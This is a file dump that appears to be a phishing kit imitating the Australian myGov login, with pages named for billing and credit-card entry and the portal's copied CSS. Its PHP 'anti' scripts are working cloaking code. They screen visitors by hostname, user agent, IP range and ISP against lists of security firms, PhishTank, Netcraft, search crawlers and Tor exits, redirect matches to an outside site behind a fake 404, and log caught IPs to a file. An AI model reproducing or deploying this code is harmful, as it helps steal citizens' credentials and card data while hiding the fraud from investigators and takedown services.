.message-body{margin-top:.5em;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end;margin:auto 1.5em;-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p{background:#404E67;border:1px solid #404E67;border-radius:3px;padding:.5em 1em;color:#fff;margin-bottom:.5em;position:relative}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;top:1.25rem;right:-7px;left:auto;border-style:solid;border-width:6px 0 7px 6px;border-color:transparent transparent transparent #404E67;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{right:-7px;border-left-color:#404E67}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p{background:#fff;border:1px solid #eef1f2;border-radius:0;border-top-right-radius:3px;border-bottom-right-radius:3px;border-radius:3px;color:#666}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{left:-9px;border-right-color:#eef1f2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-footer{background:none;padding:1.07143em 1.42857em;border-top:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-footer .list-icon{font-size:1.125rem}.wrapper .page-wrap .chat-panel .card .card-footer textarea{box-shadow:none;resize:none;padding:0;width:100%;min-height:auto;padding:5px 0}.wrapper.nav-collapsed .header-top{padding-left:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar{width:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover{width:240px}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel{display:block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before{display:inline-block}.wrapper.nav-collapsed .page-wrap .main-content{padding-left:75px}.wrapper.nav-collapsed .page-wrap .footer{padding-left:90px}.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}.wrapper.right-sidebar-expand .right-sidebar{-moz-transform:translateX(0);-o-transform:translateX(0);-ms-transform:translateX(0);-webkit-transform:translateX(0);transform:translateX(0)}.wrapper.right-sidebar-expand .chat-panel{-moz-transform:translateY(-100%) translateX(0);-o-transform:translateY(-100%) translateX(0);-ms-transform:translateY(-100%) translateX(0);-webkit-transform:translateY(-100%) translateX(0);transform:translateY(-100%) translateX(0)}hr{box-sizing:content-box;height:0;margin-top:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}.profiletimeline{position:relative;padding-left:40px;margin:40px 10px 0 30px;border-left:1px solid rgba(0,0,0,0.1)}.profiletimeline .sl-item{margin-top:8px;margin-bottom:30px}.profiletimeline .sl-item .sl-left{float:left;margin-left:-60px;z-index:1;margin-right:15px}.profiletimeline .sl-item .sl-left img{max-width:40px}.profiletimeline .sl-item .sl-right .sl-date{font-size:12px;color:#afb5c1}.dd-handle{background:#f7f7f7;border-radius:3px;padding:20px;position:relative;display:block;text-decoration:none;margin:5px 0;overflow:hidden}.dd-handle p{margin:0}.dd-handle:after,.dd-handle::after{content:'';width:5px;height:100%;position:absolute;top:0;left:0}.dd-list{margin:0;padding:0;list-style:none}.dd-list .dd-placeholder,.dd-list .dd-empty{margin:5px 0;padding:0;min-height:30px;background:#f2fbff;border:1px dashed #b6bcbf;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dd-list .dd-list{padding-left:30px}.dd-dragel{position:absolute;pointer-events:none;z-index:9999}.dd-dragel .dd-handle{-webkit-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);-ms-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1)}.todo-task .dd-handle:after,.todo-task .dd-handle::after{background-color:#f5365c}.progress-task .dd-handle:after,.progress-task .dd-handle::after{background-color:#F7CA18}.completed-task .dd-handle:after,.completed-task .dd-handle::after{background-color:#26C281}[class*="user--"]::after{height:0.64286em;width:0.64286em;display:block;position:absolute;top:0;right:10%;border-radius:100px;content:"";-webkit-box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 2px #fff}.user--online:after{background:#06d6a0}.user--busy:after{background:#ff3333}.user--offline:after{background:#bbb} /*# sourceMappingURL=theme.min.css.map */ img/down-arrow.svg000064400000000576151676702570010170 0ustar00 img/.gitignore000064400000000000151676702570007316 0ustar00img/brand-white.svg000064400000001420151676702570010262 0ustar00 img/brand.svg000064400000001361151676702570007150 0ustar00 mygov/anti/anti1.php000064400000005353151676702570010413 0ustar00404 Not FoundThe page that you have requested could not be found.");}}}$e5bd3f5f=gethostbyaddr($c28dd9c);$f6650d6e=array("drweb","hostinger","scanurl","above","google","Dr.Web","facebook","softlayer","amazonaws","cyveillance","dreamhost","netpilot","calyxinstitute","tor-exit","phishtank","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach($f6650d6e as $e540ca){if(substr_count($e5bd3f5f,$e540ca)>0){header('Location: http://2m.ma');echo("

404 Not Found

The page that you have requested could not be found.");}}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c3d1b=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");foreach($c3d1b as $cef6a){if(strpos($_SERVER['HTTP_USER_AGENT'],$cef6a)!==false){exit(header('Location: http://2m.ma'));}}}?>mygov/anti/anti2.php000064400000003104151676702570010404 0ustar00404 Not FoundThe page that you have requested could not be found.");}}}?>mygov/anti/anti3.php000064400000010102151676702570010401 0ustar00";echo("

404 Not Found

The page that you have requested could not be found.");}}$c114d=strtolower($_SERVER['HTTP_USER_AGENT']);$e97476a=array("bot","above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","crawler","urlredirectresolver","jetbrains","spam","windows 95","windows 98","acunetix","netsparker","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm","EBAY","CL0NA","jabber","ebay","arabot","hotmail!","msn!","outlook!","outlook","msn","hotmail");foreach($e97476a as $d3e7e){if(substr_count($c114d,strtolower($d3e7e))>0 or $c114d=="" or $c114d==" " or $c114d==" "){header('Location: http://2m.ma');$f4c64i=fopen("captured.txt","a+");fwrite($f4c64i,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64i);echo"
";echo("

404 Not Found

The page that you have requested could not be found.");}}?>mygov/anti/anti4.php000064400000016546151676702570010424 0ustar000){header('Location: http://2m.ma');echo "

404 Not Found

The page that you have requested could not be found.";}}$ef2550c=array("^81.161.59.*","^66.135.200.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","^91.103.66.*","^208.91.115.*","^199.30.228.*");if(in_array($c5d6b,$ef2550c)){header('Location: http://2m.ma');exit();}else{foreach($ef2550c as $b1b3v6f){if(preg_match('/'.$b1b3v6f.'/',$c5d6b)){header('Location: http://2m.ma');echo "

404 Not Found

The page that you have requested could not be found.";}}}?>mygov/anti/anti5.php000064400000013457151676702570010423 0ustar000){exit(header('Location: http://2m.ma'));}}foreach($bots_ips as $bot_ip){if(preg_match('/'.$bot_ip.'/',$user_ip)){exit(header('Location: http://2m.ma'));}}foreach($blocked_words as $word){if(substr_count($hostname,$word)>0){exit(header('Location: http://2m.ma'));}}$ipp=isset($user_ip)&&$user_ip!=""?$user_ip:"1.1.1.1";$ISP=@file_get_contents('http://ipinfo.io/'.$ipp.'/org');if($ISP==false){return "ppp";}foreach($shit_isps as $isp){if(substr_count($ISP,$isp)){exit(header('Location: http://2m.ma'));}}?>mygov/anti/anti6.php000064400000007405151676702570010420 0ustar00 0) { exit(header('Location: http://2m.ma')); } } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { exit(header('Location: http://2m.ma')); } } ?>mygov/anti/anti7.php000064400000010351151676702570010413 0ustar00 0 or $dp == "" or $dp == " " or $dp == " ") { exit(header('Location: http://2m.ma')); } } ?>mygov/anti/anti8.php000064400000020744151676702570010423 0ustar00mygov/anti/index.php000064400000000357151676702570010505 0ustar00 mygov/app/addbilling.php000064400000032243151676702570011313 0ustar00 Sign in with myGov - myGov
 
mygov/app/addcc.php000064400000026130151676702570010256 0ustar00 Sign in with myGov - myGov
 
mygov/app/index.php000064400000030771151676702570010335 0ustar00 Sign in with myGov - myGov
 
mygov/app/loading.php000064400000015056151676702570010642 0ustar00 Sign in with myGov - myGov
 
mygov/app/login.html000064400000020431151676702570010503 0ustar00 Sign in with myGov - myGov
 
mygov/app/login_files/blugov.css000064400000211165151676702570013015 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap 